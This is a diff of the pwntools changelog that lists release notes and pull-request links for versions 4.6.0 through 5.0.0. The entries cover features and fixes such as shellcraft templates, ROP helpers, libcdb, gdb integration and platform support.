| [4.14.1](#4141) | | Mar 24, 2025
|
||||
| [4.14.0](#4140) | | Jan 15, 2025
|
||||
| [4.13.1](#4131) | | Sep 29, 2024
|
||||
| [4.13.0](#4130) | | Aug 12, 2024
|
||||
| [4.12.0](#4120) | | Feb 22, 2024
|
||||
| [4.11.1](#4111) | | Nov 14, 2023
|
||||
| [4.11.0](#4110) | | Sep 15, 2023
|
||||
| [4.10.0](#4100) | | May 21, 2023
|
||||
| [4.9.0](#490) | | Dec 29, 2022
|
||||
| [4.8.0](#480) | | Apr 21, 2022
|
||||
| [4.7.1](#471) | | Apr 20, 2022
|
||||
| [4.7.0](#470) | | Nov 15, 2021
|
||||
| [4.6.0](#460) | | Jul 12, 2021
|
||||
| [4.5.1](#451) | | May 30, 2021
|
||||
| [4.5.0](#450) | | Apr 30, 2021
|
||||
| [4.4.0](#440) | | Mar 29, 2021
|
||||
| [4.3.1](#431) | | Nov 29, 2020
|
||||
| [4.3.0](#430) | | Oct 20, 2020
|
||||
| [4.2.0](#420) | | Jul 3, 2020
|
||||
| [4.1.7](#417) | | Jun 30, 2020
|
||||
| [4.1.5](#415) | | Jun 27, 2020
|
||||
| [4.1.4](#414) | | Jun 26, 2020
|
||||
| [4.1.3](#413) | | Jun 23, 2020
|
||||
| [4.1.2](#412) | | Jun 5, 2020
|
||||
| [4.1.1](#411) | | Jun 3, 2020
|
||||
| [4.1.0](#410) | | May 8, 2020
|
||||
| [4.0.1](#401) | | Jan 22, 2020
|
||||
| [4.0.0](#400) | | Jan 09, 2020
|
||||
| [3.13.0](#3130) | | Nov 5, 2019
|
||||
| [3.12.2](#3122) | | Jan 8, 2019
|
||||
| [3.12.1](#3121) | | Sept 17, 2018
|
||||
| [3.12.0](#3120) | | Feb 22, 2018
|
||||
| [3.11.0](#3110) | | Jan 3, 2018
|
||||
| [3.10.0](#3100) | | Oct 25, 2017
|
||||
| [3.9.2](#392) | | Oct 5, 2017
|
||||
| [3.11.0](#3110) | `dev` | Dec 2, 2017 (planned)
|
||||
| [3.10.0](#3100) | `beta` | Oct 21, 2017 (planned)
|
||||
| [3.9.2](#392) | `stable` | Oct 5, 2017
|
||||
| [3.9.1](#391) | | Sep 28, 2017
|
||||
| [3.9.0](#390) | | Sep 11, 2017
|
||||
| [3.8.0](#380) | | Jul 29, 2017
|
||||
@@ -73,789 +39,13 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
| [3.0.0](#300) | | Aug 20, 2016
|
||||
| [2.2.0](#220) | | Jan 5, 2015
|
||||
|
||||
## 5.0.0 (`dev`)
|
||||
|
||||
- [#2598][2598] aarch64: Fix ABI definition
|
||||
- [#2419][2419] riscv: avoid compressed instructions (if you need compressed, use .option rvc)
|
||||
- [#2551][2551] Detect when kitty is being used as terminal
|
||||
- [#2519][2519] Drop Python 2.7 support / Require Python 3.10
|
||||
- [#2507][2507] Add `+LINUX` and `+WINDOWS` doctest options and start proper testing on Windows
|
||||
- [#2522][2522] Support starting a kitty debugging window with the 'kitten' command
|
||||
- [#2524][2524] Raise EOFError during `process.recv` when stdout closes on Windows
|
||||
- [#2526][2526] Properly make use of extra arguments in `packing` utilities. `sign` parameter requires keyword syntax to specify it.
|
||||
- [#2517][2517] Allow to passthru kwargs on `ssh.__getattr__` convenience function to fix SSH motd problems
|
||||
- [#2530][2530] Do NOT error when passing directory arguments in `checksec` commandline tool.
|
||||
- [#2529][2529] Add LoongArch64 support
|
||||
- [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF
|
||||
- [#2504][2504] doc: add example case for `tuple` (host, port pair) in `gdb.attach`
|
||||
- [#2546][2546] ssh: Allow passing disabled_algorithms keyword argument from ssh to paramiko
|
||||
- [#2538][2538] Add `ssh -L` / `ssh.connect_remote()` workaround when `AllowTcpForwarding` is disabled
|
||||
- [#2574][2574] Allow creating an ELF from in-memory bytes
|
||||
- [#2575][2575] Detect when Terminator is being used as terminal
|
||||
- [#2578][2578] Add gnome-terminal, Alacritty, Ttilix for run_in_new_terminal
|
||||
- [#2590][2590] Add support for finding corefiles under WSL2
|
||||
- [#2496][2496] Add linux ko file search support
|
||||
- [#2542][2542] Decode `_IO_*` flags in `FileStructure` member
|
||||
- [#2592][2592] pwnlib.config: Fix customization of `context.timeout`
|
||||
- [#2608][2608] Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed
|
||||
- [#2611][2611] Cleanup `pwnlib.lexer` exports and imports
|
||||
- [#2610][2610] Fix `log.progress` ignoring `context.log_console`
|
||||
- [#2615][2615] tube/process: Fix redirecting stderr to stdout on Windows
|
||||
|
||||
[2598]: https://github.com/Gallopsled/pwntools/pull/2598
|
||||
[2419]: https://github.com/Gallopsled/pwntools/pull/2419
|
||||
[2551]: https://github.com/Gallopsled/pwntools/pull/2551
|
||||
[2519]: https://github.com/Gallopsled/pwntools/pull/2519
|
||||
[2507]: https://github.com/Gallopsled/pwntools/pull/2507
|
||||
[2522]: https://github.com/Gallopsled/pwntools/pull/2522
|
||||
[2524]: https://github.com/Gallopsled/pwntools/pull/2524
|
||||
[2526]: https://github.com/Gallopsled/pwntools/pull/2526
|
||||
[2517]: https://github.com/Gallopsled/pwntools/pull/2517
|
||||
[2530]: https://github.com/Gallopsled/pwntools/pull/2530
|
||||
[2529]: https://github.com/Gallopsled/pwntools/pull/2529
|
||||
[2506]: https://github.com/Gallopsled/pwntools/pull/2506
|
||||
[2504]: https://github.com/Gallopsled/pwntools/pull/2504
|
||||
[2546]: https://github.com/Gallopsled/pwntools/pull/2546
|
||||
[2538]: https://github.com/Gallopsled/pwntools/pull/2538
|
||||
[2574]: https://github.com/Gallopsled/pwntools/pull/2574
|
||||
[2575]: https://github.com/Gallopsled/pwntools/pull/2575
|
||||
[2578]: https://github.com/Gallopsled/pwntools/pull/2578
|
||||
[2590]: https://github.com/Gallopsled/pwntools/pull/2590
|
||||
[2496]: https://github.com/Gallopsled/pwntools/pull/2496
|
||||
[2542]: https://github.com/Gallopsled/pwntools/pull/2542
|
||||
[2592]: https://github.com/Gallopsled/pwntools/pull/2592
|
||||
[2608]: https://github.com/Gallopsled/pwntools/pull/2608
|
||||
[2611]: https://github.com/Gallopsled/pwntools/pull/2611
|
||||
[2610]: https://github.com/Gallopsled/pwntools/pull/2610
|
||||
[2615]: https://github.com/Gallopsled/pwntools/pull/2615
|
||||
|
||||
## 4.15.1
|
||||
|
||||
- [#2694][2694] fix: pad bytes fields to correct field size in FileStructure
|
||||
- [#2701][2701] Fix `adb._build_date()` crash on devices with non-standard locale date strings
|
||||
- [#2721][2721] Allow running with Unicorn 2.1.[34] but throw when emulating MIPS
|
||||
- [#2773][2773] Disable debuginfod doctests in libcdb.unstrip_libc
|
||||
- [#2772][2772] fix(packing): `dd()` no longer crashes on a `bytearray` destination
|
||||
- [#2787][2787] gdb.corefile: Run gdb directly to prevent detach race
|
||||
|
||||
[2694]: https://github.com/Gallopsled/pwntools/pull/2694
|
||||
[2701]: https://github.com/Gallopsled/pwntools/pull/2701
|
||||
[2721]: https://github.com/Gallopsled/pwntools/pull/2721
|
||||
[2773]: https://github.com/Gallopsled/pwntools/pull/2773
|
||||
[2772]: https://github.com/Gallopsled/pwntools/pull/2772
|
||||
[2787]: https://github.com/Gallopsled/pwntools/pull/2787
|
||||
|
||||
## 4.15.0 (`stable`)
|
||||
|
||||
- [#2508][2508] Ignore a warning when compiling with asm on nix
|
||||
- [#2471][2471] Properly close spawned kitty window
|
||||
- [#2358][2358] Cache output of `asm()`
|
||||
- [#2457][2457] Catch exception of non-ELF files in checksec.
|
||||
- [#2444][2444] Add `ELF.close()` to release resources
|
||||
- [#2413][2413] libcdb: improve the search speed of `search_by_symbol_offsets` in local libc-database
|
||||
- [#2470][2470] Fix waiting for gdb under WSL2
|
||||
- [#2479][2479] Support extracting libraries from Docker image in `pwn template`
|
||||
- [#2483][2483] Only print `checksec` output of `ELF.libc` when it was printed for the `ELF` already
|
||||
- [#2482][2482] Throw error when using `sni` and setting `server_hostname` manually in `remote`
|
||||
- [#2478][2478] libcdb-cli: add `--offline-only`, refactor unstrip and add fetch parser for download libc-database
|
||||
- [#2484][2484] Allow to disable caching
|
||||
- [#2291][2291] Fix attaching to a gdbserver with tuple `gdb.attach(('0.0.0.0',12345))`
|
||||
- [#2410][2410] Add `tube.upload_manually` to upload files in chunks
|
||||
- [#2502][2502] Fix loading ELF files without valid .dynamic section
|
||||
- [#2476][2476] Deprecate 'keepends' argument in favor of 'drop' in `tube.recvline*`
|
||||
- [#2364][2364] Deprecate direct commandline scripts invocation and exclude nonsense ones
|
||||
- [#2570][2570] Fix `pwn template` to skip Docker library extraction for statically linked binaries
|
||||
- [#2545][2545] SSH: fix download/upload with -1 exit status
|
||||
- [#2567][2567] Fix mistakenly parsing of ld-linux error messages.
|
||||
- [#2576][2576] regsort: respect register aliases
|
||||
- [#2595][2595] libcdb: Add Ubuntu and Debian debuginfod servers to default list
|
||||
- [#2593][2593] Use unicorn on macOS w/ SIP enabled
|
||||
- [#2587][2587] Support longer function names in Windows `getexport` shellcode
|
||||
- [#2596][2596] Ignore `colored_traceback` error when TERM envvar is unset
|
||||
- [#2579][2579] Fix poll error in `process.libs()` and clean up maps parsing
|
||||
- [#2602][2602] Allow setting debugger path via context.gdb_binary
|
||||
- [#2609][2609] Fix log level of child remotes of `server` tube
|
||||
- [#2612][2612] Fix lookup of binutils for `mipsel` architecture
|
||||
- [#2624][2624] Fix regression: gdbserver can't handle command-line argument containing whitespace
|
||||
|
||||
[2508]: https://github.com/Gallopsled/pwntools/pull/2508
|
||||
[2471]: https://github.com/Gallopsled/pwntools/pull/2471
|
||||
[2358]: https://github.com/Gallopsled/pwntools/pull/2358
|
||||
[2457]: https://github.com/Gallopsled/pwntools/pull/2457
|
||||
[2444]: https://github.com/Gallopsled/pwntools/pull/2444
|
||||
[2413]: https://github.com/Gallopsled/pwntools/pull/2413
|
||||
[2470]: https://github.com/Gallopsled/pwntools/pull/2470
|
||||
[2479]: https://github.com/Gallopsled/pwntools/pull/2479
|
||||
[2483]: https://github.com/Gallopsled/pwntools/pull/2483
|
||||
[2482]: https://github.com/Gallopsled/pwntools/pull/2482
|
||||
[2478]: https://github.com/Gallopsled/pwntools/pull/2478
|
||||
[2484]: https://github.com/Gallopsled/pwntools/pull/2484
|
||||
[2291]: https://github.com/Gallopsled/pwntools/pull/2291
|
||||
[2410]: https://github.com/Gallopsled/pwntools/pull/2410
|
||||
[2502]: https://github.com/Gallopsled/pwntools/pull/2502
|
||||
[2476]: https://github.com/Gallopsled/pwntools/pull/2476
|
||||
[2364]: https://github.com/Gallopsled/pwntools/pull/2364
|
||||
[2570]: https://github.com/Gallopsled/pwntools/pull/2570
|
||||
[2545]: https://github.com/Gallopsled/pwntools/pull/2545
|
||||
[2567]: https://github.com/Gallopsled/pwntools/pull/2567
|
||||
[2576]: https://github.com/Gallopsled/pwntools/pull/2576
|
||||
[2595]: https://github.com/Gallopsled/pwntools/pull/2595
|
||||
[2593]: https://github.com/Gallopsled/pwntools/pull/2593
|
||||
[2587]: https://github.com/Gallopsled/pwntools/pull/2587
|
||||
[2596]: https://github.com/Gallopsled/pwntools/pull/2596
|
||||
[2579]: https://github.com/Gallopsled/pwntools/pull/2579
|
||||
[2602]: https://github.com/Gallopsled/pwntools/pull/2602
|
||||
[2609]: https://github.com/Gallopsled/pwntools/pull/2609
|
||||
[2612]: https://github.com/Gallopsled/pwntools/pull/2612
|
||||
[2624]: https://github.com/Gallopsled/pwntools/pull/2624
|
||||
|
||||
## 4.14.1
|
||||
|
||||
- [#2451][2451] Show symbols defined to value 0 (start of file)
|
||||
- [#2533][2533] Fix installation on Python 3.5 and lower
|
||||
- [#2518][2518] fix: update apport coredump path handling for CorefileFinder
|
||||
- [#2552][2552] Fix memcpy shellcraft template off-by-one
|
||||
- [#2559][2559] Fix parsing corefile with missing auxv
|
||||
- [#2562][2562] Fix syntax highlighting of multiline comments in ASM
|
||||
- [#2565][2565] Exclude broken Unicorn
|
||||
|
||||
[2451]: https://github.com/Gallopsled/pwntools/pull/2451
|
||||
[2533]: https://github.com/Gallopsled/pwntools/pull/2533
|
||||
[2518]: https://github.com/Gallopsled/pwntools/pull/2518
|
||||
[2552]: https://github.com/Gallopsled/pwntools/pull/2552
|
||||
[2559]: https://github.com/Gallopsled/pwntools/pull/2559
|
||||
[2562]: https://github.com/Gallopsled/pwntools/pull/2562
|
||||
[2565]: https://github.com/Gallopsled/pwntools/pull/2565
|
||||
|
||||
## 4.14.0
|
||||
|
||||
- [#2356][2356] Add local libc database provider for libcdb
|
||||
- [#2360][2360] Add offline parameter for `search_by_hash` series function
|
||||
- [#2388][2388] libcdb: add `offline_only` to `search_by_symbol_offsets`
|
||||
- [#2374][2374] libcdb.unstrip_libc: debug symbols are fetched only if not present
|
||||
- [#2327][2327] Add basic support to debug processes on Windows
|
||||
- [#2437][2437] Support asm/disasm on Windows
|
||||
- [#2330][2330] Change `context.newline` when setting `context.os` to `"windows"`
|
||||
- [#2322][2322] Add basic RISCV64 shellcraft support
|
||||
- [#2376][2376] Return buffered data on first EOF in tube.readline()
|
||||
- [#2371][2371] Add functions for retrieving process mappings
|
||||
- [#2398][2398] Add support for generating multiple shellcodes at a time in shellcraft
|
||||
- [#2389][2389] Fix passing bytes to `context.log_file` and `crc.BitPolynom`
|
||||
- [#2391][2391] Fix error message when passing invalid kwargs to `xor`
|
||||
- [#2387][2387] Convert apport_corefile() output from bytes-like object to string
|
||||
- [#2415][2415] Add shellcraft template for IPv6 socket
|
||||
- [#2405][2405] Add "none" ssh authentication method
|
||||
- [#2427][2427] Document behaviour of remote()'s sni argument as string.
|
||||
- [#2382][2382] added optional port, gdb_args and gdbserver_args parameters to gdb.debug()
|
||||
- [#2435][2435] Speed up gdbserver handshake in gdb.debug()
|
||||
- [#2436][2436] Add resolution_addr parameter to Ret2dlresolvePayload
|
||||
- [#2497][2497] Fix remote.fromsocket() to handle AF_INET6 socket
|
||||
|
||||
[2436]: https://github.com/Gallopsled/pwntools/pull/2436
|
||||
[2371]: https://github.com/Gallopsled/pwntools/pull/2371
|
||||
[2360]: https://github.com/Gallopsled/pwntools/pull/2360
|
||||
[2356]: https://github.com/Gallopsled/pwntools/pull/2356
|
||||
[2374]: https://github.com/Gallopsled/pwntools/pull/2374
|
||||
[2327]: https://github.com/Gallopsled/pwntools/pull/2327
|
||||
[2322]: https://github.com/Gallopsled/pwntools/pull/2322
|
||||
[2330]: https://github.com/Gallopsled/pwntools/pull/2330
|
||||
[2389]: https://github.com/Gallopsled/pwntools/pull/2389
|
||||
[2391]: https://github.com/Gallopsled/pwntools/pull/2391
|
||||
[2376]: https://github.com/Gallopsled/pwntools/pull/2376
|
||||
[2387]: https://github.com/Gallopsled/pwntools/pull/2387
|
||||
[2388]: https://github.com/Gallopsled/pwntools/pull/2388
|
||||
[2398]: https://github.com/Gallopsled/pwntools/pull/2398
|
||||
[2415]: https://github.com/Gallopsled/pwntools/pull/2415
|
||||
[2405]: https://github.com/Gallopsled/pwntools/pull/2405
|
||||
[2427]: https://github.com/Gallopsled/pwntools/pull/2405
|
||||
[2382]: https://github.com/Gallopsled/pwntools/pull/2382
|
||||
[2435]: https://github.com/Gallopsled/pwntools/pull/2435
|
||||
[2437]: https://github.com/Gallopsled/pwntools/pull/2437
|
||||
[2497]: https://github.com/Gallopsled/pwntools/pull/2497
|
||||
|
||||
## 4.13.1
|
||||
|
||||
- [#2445][2445] Fix parsing the PLT on Windows
|
||||
- [#2466][2466] Fix PLT emulation with Unicorn 2.1.0
|
||||
- [#2466][2466] Switch to PyPi Simple API for update checks
|
||||
- [#2467][2467] Fix loading at all on Windows
|
||||
- [#2469][2469] GDB 15+ rpyc detection
|
||||
|
||||
[2445]: https://github.com/Gallopsled/pwntools/pull/2445
|
||||
[2466]: https://github.com/Gallopsled/pwntools/pull/2466
|
||||
[2467]: https://github.com/Gallopsled/pwntools/pull/2467
|
||||
[2469]: https://github.com/Gallopsled/pwntools/pull/2469
|
||||
|
||||
## 4.13.0
|
||||
|
||||
- [#2242][2242] Term module revamp: activating special handling of terminal only when necessary
|
||||
- [#2277][2277] elf: Resolve more relocations into GOT entries
|
||||
- [#2281][2281] FIX: Getting right amount of data for search fix
|
||||
- [#2293][2293] Add x86 CET status to checksec output
|
||||
- [#1763][1763] Allow to add to the existing environment in `process` instead of replacing it
|
||||
- [#2307][2307] Fix `pwn libcdb file` crashing if "/bin/sh" string was not found
|
||||
- [#2309][2309] Detect challenge binary and libc in `pwn template`
|
||||
- [#2308][2308] Fix WinExec shellcraft to make sure it's 16 byte aligned
|
||||
- [#2279][2279] Make `pwn template` always set context.binary
|
||||
- [#2310][2310] Add support to start a process on Windows
|
||||
- [#2335][2335] Add lookup optimizations in DynELF
|
||||
- [#2334][2334] Speed up disasm commandline tool with colored output
|
||||
- [#2328][2328] Lookup using $PATHEXT file extensions in `which` on Windows
|
||||
- [#2189][2189] Explicitly define p64/u64 functions for IDE support
|
||||
- [#2339][2339] Fix: Allow setting attributes on gdb Breakpoints
|
||||
- [#2323][2323] Retry failed lookups after one week in libcdb
|
||||
- [#2325][2325] Match against local system libc first in libcdb
|
||||
- [#2336][2336] Add `ELF.stripped` and `ELF.debuginfo` properties
|
||||
- [#2161][2161] Add basic support for darwin shellcraft/asm/disasm/run_shellcode/run_assembly
|
||||
- [#2161][2161] Fix freebsd amd64 SyscallABI
|
||||
- [#2160][2161] Fix invalid shellcraft.mov on arm64
|
||||
- [#2284][2161] Fix invalid shellcraft.pushstr_array on arm64
|
||||
- [#2345][2345] Fix pwn constgrep when it matches a non-constant type
|
||||
- [#2338][2338] Fix: follow symlink for libs on ssh connection
|
||||
- [#2341][2341] Launch GDB correctly in iTerm on Mac
|
||||
- [#2268][2268] Add a `flatten` argument to `ssh.libs`
|
||||
- [#2347][2347] Fix/workaround Unicorn Engine 1GB limit that calls exit()
|
||||
- [#2233][2233] Fix gdb.debug: exe parameter now respected, allow empty argv
|
||||
- [#2373][2373] Fix displaying bright color variation in terminal output
|
||||
- [#2378][2378] Don't go though a shell in `gdb.debug`
|
||||
|
||||
[2242]: https://github.com/Gallopsled/pwntools/pull/2242
|
||||
[2277]: https://github.com/Gallopsled/pwntools/pull/2277
|
||||
[2281]: https://github.com/Gallopsled/pwntools/pull/2281
|
||||
[2293]: https://github.com/Gallopsled/pwntools/pull/2293
|
||||
[1763]: https://github.com/Gallopsled/pwntools/pull/1763
|
||||
[2307]: https://github.com/Gallopsled/pwntools/pull/2307
|
||||
[2309]: https://github.com/Gallopsled/pwntools/pull/2309
|
||||
[2308]: https://github.com/Gallopsled/pwntools/pull/2308
|
||||
[2279]: https://github.com/Gallopsled/pwntools/pull/2279
|
||||
[2310]: https://github.com/Gallopsled/pwntools/pull/2310
|
||||
[2335]: https://github.com/Gallopsled/pwntools/pull/2335
|
||||
[2334]: https://github.com/Gallopsled/pwntools/pull/2334
|
||||
[2328]: https://github.com/Gallopsled/pwntools/pull/2328
|
||||
[2189]: https://github.com/Gallopsled/pwntools/pull/2189
|
||||
[2339]: https://github.com/Gallopsled/pwntools/pull/2339
|
||||
[2323]: https://github.com/Gallopsled/pwntools/pull/2323
|
||||
[2325]: https://github.com/Gallopsled/pwntools/pull/2325
|
||||
[2336]: https://github.com/Gallopsled/pwntools/pull/2336
|
||||
[2161]: https://github.com/Gallopsled/pwntools/pull/2161
|
||||
[2345]: https://github.com/Gallopsled/pwntools/pull/2345
|
||||
[2338]: https://github.com/Gallopsled/pwntools/pull/2338
|
||||
[2341]: https://github.com/Gallopsled/pwntools/pull/2341
|
||||
[2268]: https://github.com/Gallopsled/pwntools/pull/2268
|
||||
[2347]: https://github.com/Gallopsled/pwntools/pull/2347
|
||||
[2233]: https://github.com/Gallopsled/pwntools/pull/2233
|
||||
[2373]: https://github.com/Gallopsled/pwntools/pull/2373
|
||||
[2378]: https://github.com/Gallopsled/pwntools/pull/2378
|
||||
|
||||
## 4.12.0
|
||||
|
||||
- [#2202][2202] Fix `remote` and `listen` in sagemath
|
||||
- [#2117][2117] Add -p (--prefix) and -s (--separator) arguments to `hex` command
|
||||
- [#2221][2221] Add shellcraft.sleep template wrapping SYS_nanosleep
|
||||
- [#2219][2219] Fix passing arguments on the stack in shellcraft syscall template
|
||||
- [#2212][2212] Add `--libc libc.so` argument to `pwn template` command
|
||||
- [#2257][2257] Allow creation of custom templates for `pwn template` command
|
||||
- [#2225][2225] Allow empty argv in ssh.process()
|
||||
- [#2349][2349] Fix term.readline omitting a trailing \n
|
||||
- [#2352][2352] add `RETURN_CONST` as an allowed `_const_code` in safeeval
|
||||
|
||||
[2202]: https://github.com/Gallopsled/pwntools/pull/2202
|
||||
[2117]: https://github.com/Gallopsled/pwntools/pull/2117
|
||||
[2221]: https://github.com/Gallopsled/pwntools/pull/2221
|
||||
[2219]: https://github.com/Gallopsled/pwntools/pull/2219
|
||||
[2212]: https://github.com/Gallopsled/pwntools/pull/2212
|
||||
[2257]: https://github.com/Gallopsled/pwntools/pull/2257
|
||||
[2225]: https://github.com/Gallopsled/pwntools/pull/2225
|
||||
[2349]: https://github.com/Gallopsled/pwntools/pull/2349
|
||||
[2352]: https://github.com/Gallopsled/pwntools/pull/2352
|
||||
|
||||
## 4.11.1
|
||||
|
||||
- [#2271][2271] FIX: Generated shebang with path to python invalid if path contains spaces
|
||||
- [#2272][2272] Fix `tube.clean_and_log` not logging buffered data
|
||||
- [#2281][2281] FIX: Getting right amount of data for search fix
|
||||
- [#2287][2287] Fix `_countdown_handler` not invoking `timeout_change`
|
||||
- [#2294][2294] Fix atexit SEGV in aarch64 loader
|
||||
|
||||
[2271]: https://github.com/Gallopsled/pwntools/pull/2271
|
||||
[2272]: https://github.com/Gallopsled/pwntools/pull/2272
|
||||
[2281]: https://github.com/Gallopsled/pwntools/pull/2281
|
||||
[2287]: https://github.com/Gallopsled/pwntools/pull/2287
|
||||
[2294]: https://github.com/Gallopsled/pwntools/pull/2294
|
||||
|
||||
## 4.11.0
|
||||
|
||||
- [#2185][2185] make fmtstr module able to create payload without $ notation
|
||||
- [#2103][2103] Add search for libc binary by leaked function addresses `libcdb.search_by_symbol_offsets()`
|
||||
- [#2177][2177] Support for RISC-V 64-bit architecture
|
||||
- [#2186][2186] Enhance `ELF.nx` and `ELF.execstack`
|
||||
- [#2129][2129] Handle `context.newline` correctly when typing in `tube.interactive()`
|
||||
- [#2214][2214] Fix bug at ssh.py:`download` and `download_file` with relative paths
|
||||
- [#2241][2241] Fix ssh.process not setting ssh_process.cwd attribute
|
||||
- [#2261][2261] Fix corefile module after pyelftools update
|
||||
|
||||
[2185]: https://github.com/Gallopsled/pwntools/pull/2185
|
||||
[2103]: https://github.com/Gallopsled/pwntools/pull/2103
|
||||
[2177]: https://github.com/Gallopsled/pwntools/pull/2177
|
||||
[2186]: https://github.com/Gallopsled/pwntools/pull/2186
|
||||
[2129]: https://github.com/Gallopsled/pwntools/pull/2129
|
||||
[2214]: https://github.com/Gallopsled/pwntools/pull/2214
|
||||
[2241]: https://github.com/Gallopsled/pwntools/pull/2241
|
||||
[2261]: https://github.com/Gallopsled/pwntools/pull/2261
|
||||
|
||||
## 4.10.0
|
||||
|
||||
In memoriam — [Zach Riggle][zach] — long time contributor and maintainer of Pwntools.
|
||||
|
||||
- [#2062][2062] make pwn cyclic -l work with entry larger than 4 bytes
|
||||
- [#2092][2092] shellcraft: dup() is now called dupio() consistently across all supported arches
|
||||
- [#2093][2093] setresuid() in shellcraft uses current euid by default
|
||||
- [#2125][2125] Allow tube.recvregex to return capture groups
|
||||
- [#2144][2144] Removes `p2align 2` `asm()` headers from `x86-32`, `x86-64` and `mips` architectures to avoid inconsistent instruction length when patching binaries
|
||||
|
||||
[2062]: https://github.com/Gallopsled/pwntools/pull/2062
|
||||
[2092]: https://github.com/Gallopsled/pwntools/pull/2092
|
||||
[2093]: https://github.com/Gallopsled/pwntools/pull/2093
|
||||
[2125]: https://github.com/Gallopsled/pwntools/pull/2125
|
||||
[2144]: https://github.com/Gallopsled/pwntools/pull/2144
|
||||
[zach]: https://github.com/zachriggle
|
||||
|
||||
## 4.9.0
|
||||
|
||||
- [#1975][1975] Add libcdb commandline tool
|
||||
- [#1979][1979] Add `js_escape()` and `js_unescape()` to `util.fiddling`
|
||||
- [#2011][2011] Fix tube's debug output of same byte compression
|
||||
- [#2023][2023] Support KDE Konsole in run_in_new_terminal function
|
||||
- [#2027][2027] Fix ELF.libc_start_main_return with glibc 2.34
|
||||
- [#2033][2033] Quote file and core path in generated GDB script
|
||||
- [#2035][2035] Change Buffer's parent class to object
|
||||
- [#2037][2037] Allow SSH tunnel to be treated like a TCP socket (with 'raw=True')
|
||||
- [#2123][2123] Fix ROP without a writeable cache directory
|
||||
- [#2124][2124] Fix `tube.recvpred()` timeout argument
|
||||
|
||||
[1975]: https://github.com/Gallopsled/pwntools/pull/1975
|
||||
[1979]: https://github.com/Gallopsled/pwntools/pull/1979
|
||||
[2011]: https://github.com/Gallopsled/pwntools/pull/2011
|
||||
[2023]: https://github.com/Gallopsled/pwntools/pull/2023
|
||||
[2027]: https://github.com/Gallopsled/pwntools/pull/2027
|
||||
[2033]: https://github.com/Gallopsled/pwntools/pull/2033
|
||||
[2035]: https://github.com/Gallopsled/pwntools/pull/2035
|
||||
[2037]: https://github.com/Gallopsled/pwntools/pull/2037
|
||||
[2123]: https://github.com/Gallopsled/pwntools/pull/2123
|
||||
[2124]: https://github.com/Gallopsled/pwntools/pull/2124
|
||||
|
||||
## 4.8.0
|
||||
|
||||
- [#1922][1922] Fix logic in `wait_for_debugger`
|
||||
- [#1828][1828] libcdb: Load debug info and unstrip libc binary
|
||||
- [#1939][1939] Fix error in validating log levels
|
||||
- [#1981][1981] Fix `cyclic_find()` to make it work with large int values
|
||||
|
||||
[1922]: https://github.com/Gallopsled/pwntools/pull/1922
|
||||
[1828]: https://github.com/Gallopsled/pwntools/pull/1828
|
||||
[1939]: https://github.com/Gallopsled/pwntools/pull/1939
|
||||
[1981]: https://github.com/Gallopsled/pwntools/pull/1981
|
||||
|
||||
## 4.7.1
|
||||
|
||||
- [#1784][1784] Use temporary cache directory when persistent cache cannot be used
|
||||
- [#1973][1973] ELF symbols can be looked up by bytes values
|
||||
- several bugfixes ([#2012][2012], [#2031][2031], [#1912][1912], [#1961][1961],
|
||||
[#2007][2007], [#2040][2040], [#2051][2051])
|
||||
|
||||
[1784]: https://github.com/Gallopsled/pwntools/pull/1784
|
||||
[1912]: https://github.com/Gallopsled/pwntools/pull/1912
|
||||
[1961]: https://github.com/Gallopsled/pwntools/pull/1961
|
||||
[1973]: https://github.com/Gallopsled/pwntools/pull/1973
|
||||
[2007]: https://github.com/Gallopsled/pwntools/pull/2007
|
||||
[2012]: https://github.com/Gallopsled/pwntools/pull/2012
|
||||
[2031]: https://github.com/Gallopsled/pwntools/pull/2031
|
||||
[2040]: https://github.com/Gallopsled/pwntools/pull/2040
|
||||
[2051]: https://github.com/Gallopsled/pwntools/pull/2051
|
||||
|
||||
## 4.7.0
|
||||
|
||||
- [#1733][1733] Update libc headers -> more syscalls available!
|
||||
- [#1876][1876] add `self.message` and change `sys.exc_type` to `sys.exec_info()` in PwnlibException
|
||||
- [#1877][1877] encoders error message handles when `avoid` is bytes in python3
|
||||
- [#1891][1891] Keep ROP gadgets when setting registers via setattr/call
|
||||
- [#1892][1892] Silence SIGPIPE error for "pwn phd"
|
||||
- [#1893][1893] Fix bytes warning in "pwn cyclic"
|
||||
- [#1897][1897] Add basic support for RISC-V
|
||||
- [#1903][1903] Add zsh completion script
|
||||
- [#1904][1904] Add bash completion script
|
||||
- [#1906][1906] Defer import of several modules to save on startup time
|
||||
- [#1921][1921] Add basic support for the bare-metal ARM specific toolchain
|
||||
- [#1995][1995] Add `shellcraft.*.linux.cat2`, which uses alloc+read+write instead of sendfile
|
||||
|
||||
[1733]: https://github.com/Gallopsled/pwntools/pull/1733
|
||||
[1876]: https://github.com/Gallopsled/pwntools/pull/1876
|
||||
[1877]: https://github.com/Gallopsled/pwntools/pull/1877
|
||||
[1891]: https://github.com/Gallopsled/pwntools/pull/1891
|
||||
[1892]: https://github.com/Gallopsled/pwntools/pull/1892
|
||||
[1893]: https://github.com/Gallopsled/pwntools/pull/1893
|
||||
[1897]: https://github.com/Gallopsled/pwntools/pull/1897
|
||||
[1903]: https://github.com/Gallopsled/pwntools/pull/1903
|
||||
[1904]: https://github.com/Gallopsled/pwntools/pull/1904
|
||||
[1906]: https://github.com/Gallopsled/pwntools/pull/1906
|
||||
[1921]: https://github.com/Gallopsled/pwntools/pull/1921
|
||||
[1995]: https://github.com/Gallopsled/pwntools/pull/1995
|
||||
|
||||
## 4.6.0
|
||||
|
||||
- [#1429][1429] Add a mechanism for ret2csu (originally #1138)
|
||||
- [#1566][1566] Add `ignore_config` argument to `pwnlib.tubes.ssh` and improve `allow_agent` implementation
|
||||
- [#1652][1652] Add `process.readmem` and `process.writemem`
|
||||
- [#1739][1739] Add/fix shellcraft.linux.kill() / shellcraft.linux.killparent()
|
||||
- [#1746][1746] Prefer Python3 over Python2 for spawning remote processes over SSH
|
||||
- [#1751][1751] Fix process() with executable relative to cwd
|
||||
- [#1753][1753] major change: less unconditional imports in pwnlib
|
||||
- [#1776][1776] mips: do not use $t0 temporary variable in dupio
|
||||
- [#1846][1846] support launching GDB in more different terminals
|
||||
|
||||
[1429]: https://github.com/Gallopsled/pwntools/pull/1429
|
||||
[1566]: https://github.com/Gallopsled/pwntools/pull/1566
|
||||
[1652]: https://github.com/Gallopsled/pwntools/pull/1652
|
||||
[1739]: https://github.com/Gallopsled/pwntools/pull/1739
|
||||
